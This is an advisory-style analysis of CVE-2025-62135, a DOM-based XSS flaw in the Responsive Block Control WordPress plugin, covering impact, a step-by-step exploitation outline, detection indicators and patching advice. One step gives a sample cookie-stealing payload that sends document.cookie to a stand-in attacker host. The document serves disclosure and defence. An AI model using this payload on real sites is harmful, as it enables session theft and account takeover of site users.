CVE-2025-62135: 
WordPress vulnerability analysis and mitigation

CVE-2025-62135 is a DOM-based Cross-Site Scripting (XSS) vulnerability in the Responsive Block Control WordPress plugin developed by landwire. It affects all versions from n/a through 1.3.0 (with some sources citing through 1.2.9). The vulnerability was disclosed on December 31, 2025, and was assigned by Patchstack. It carries a CVSS v3.1 base score of 6.5 (Medium) (Feedly, ENISA EUVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically manifesting as DOM-based XSS. The root cause is insufficient sanitization and validation of user-supplied input that is written directly into the DOM by the plugin's JavaScript code, bypassing server-side output encoding controls. Exploitation requires an authenticated user with low privileges to submit a crafted payload, which is then rendered in the browser of a victim who visits or interacts with the affected page. The attack vector is network-based, requires low privileges, and necessitates user interaction to trigger script execution in the victim's browser (Feedly, ENISA EUVD).

Successful exploitation allows an authenticated attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session token theft, account takeover, credential harvesting, and unauthorized actions performed on behalf of the victim — including administrative actions if the victim holds elevated privileges. The CVSS scope is marked as Changed, indicating that the impact extends beyond the vulnerable component to the victim's browser environment (Feedly).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-62135. The EPSS score is approximately 0.033%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access (low privilege), which somewhat limits the attack surface compared to unauthenticated vulnerabilities (Feedly, ENISA EUVD).

1. Reconnaissance: Identify WordPress sites running the Responsive Block Control plugin at version 1.2.9 or earlier using tools like WPScan or by inspecting plugin directories.
2. Obtain low-privilege credentials: Register or obtain a low-privilege account (e.g., subscriber or contributor) on the target WordPress site.
3. Craft malicious payload: Prepare a DOM-based XSS payload (e.g., <img src=x onerror=document.location='https://attacker.com/steal?c='+document.cookie>) designed to execute when rendered in the DOM by the plugin's JavaScript.
4. Inject payload: Submit the crafted payload through a plugin-controlled input field or block configuration parameter that is processed and written to the DOM without proper sanitization.
5. Deliver to victim: Lure a higher-privileged user (e.g., administrator) to visit the page or post containing the injected payload, triggering script execution in their browser.
6. Achieve objective: Harvest session cookies, perform unauthorized actions, or escalate privileges by leveraging the victim's authenticated session (Feedly, ENISA EUVD).

• Logs: WordPress access logs showing unusual POST or GET requests to pages using the Responsive Block Control plugin with encoded or obfuscated script content in parameters.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting pages with the plugin active; potential exfiltration of cookie or session data to attacker-controlled endpoints.
• File System: Unexpected modifications to plugin files in wp-content/plugins/responsive-block-control/ that may indicate tampering or persistence attempts.
• Browser/Application: Unexpected JavaScript execution or redirects reported by users visiting pages that use Responsive Block Control blocks.

WordPress site administrators should update the Responsive Block Control plugin to a version beyond 1.3.0 (the patched release). If an immediate update is not possible, consider deactivating the plugin until a patch can be applied. Additionally, implementing a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts in the interim. Restricting contributor-level and subscriber-level user registrations on public-facing sites reduces the attack surface (Feedly, ENISA EUVD).

The vulnerability was reported and assigned by Patchstack, a WordPress security platform, and published on December 31, 2025. It was picked up by automated vulnerability tracking services including Vulners, CVEFeed, and CIRCL, as well as a Bluesky post from a CVE tracking account. No notable independent researcher commentary or significant media coverage has been identified beyond standard vulnerability database aggregation (Feedly).